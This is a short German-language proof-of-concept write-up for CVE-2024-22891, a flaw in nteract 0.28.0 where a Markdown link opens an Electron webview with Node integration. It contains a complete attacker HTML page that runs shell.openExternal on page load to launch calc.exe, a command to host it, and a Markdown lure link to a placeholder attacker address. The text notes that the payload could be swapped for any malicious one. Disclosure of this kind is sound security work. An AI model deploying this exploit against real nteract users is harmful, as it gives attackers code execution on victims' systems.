
nteract 0.28.0 open redirect to RCE exploit
Ein Proof-of-Concept für die Schwachstelle CVE-2024-22891.
nteract 0.28.0 erlaubt Electron-Webview über Markdown-Link, was zu Remote Code Execution führt.
nteract 0.28.0 erlaubt Electron-Webview über Markdown-Link, was zu Remote Code Execution führt (weil nodeIntegration in webPreferences true ist).
Erklärung des Exploits
Schritt 1) Der Angreifer erstellt einen Server mit Quellcode zum Starten von calc.exe mithilfe der Funktion openExternal().
<html>
<head>
<title>jruru Link</title>
</head>
<body>
<a id="jruruLink">jruru Link</a>
<script>
// Script function definition
function openExternal() {
try {
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
} catch(e) {
alert('JRURU - External link cannot be opened.');
console.error(e);
}
}
// Automatically execute openExternal function after the page is loaded
document.addEventListener('DOMContentLoaded', function() {
openExternal();
});
</script>
</body>
</html>
Hinweis: ※ Wenn Sie es schnell testen möchten, erstellen Sie auf dem PC des Angreifers einen Server mit dem folgenden Code.
$ python -m http.server 80
Schritt 2) Führen Sie die nteract-Anwendung auf dem System des Opfers aus und erstellen Sie einen Markdown-Link, oder teilen Sie die ipynb-Datei des Angreifers als Beispielcode. Führen Sie dann calc.exe aus.
[Read This] (http://[attcker_adress]/shard_data.html)

Beim Ausführen einer .ipynb-Datei über Dateifreigabe ist Vorsicht geboten, da der Link möglicherweise nicht sichtbar ist. Diese calc.exe hätte jede schädliche Nutzlast (lokal oder remote) sein können, die dem Angreifer vollständigen Zugriff auf das System des Opfers hätte geben können.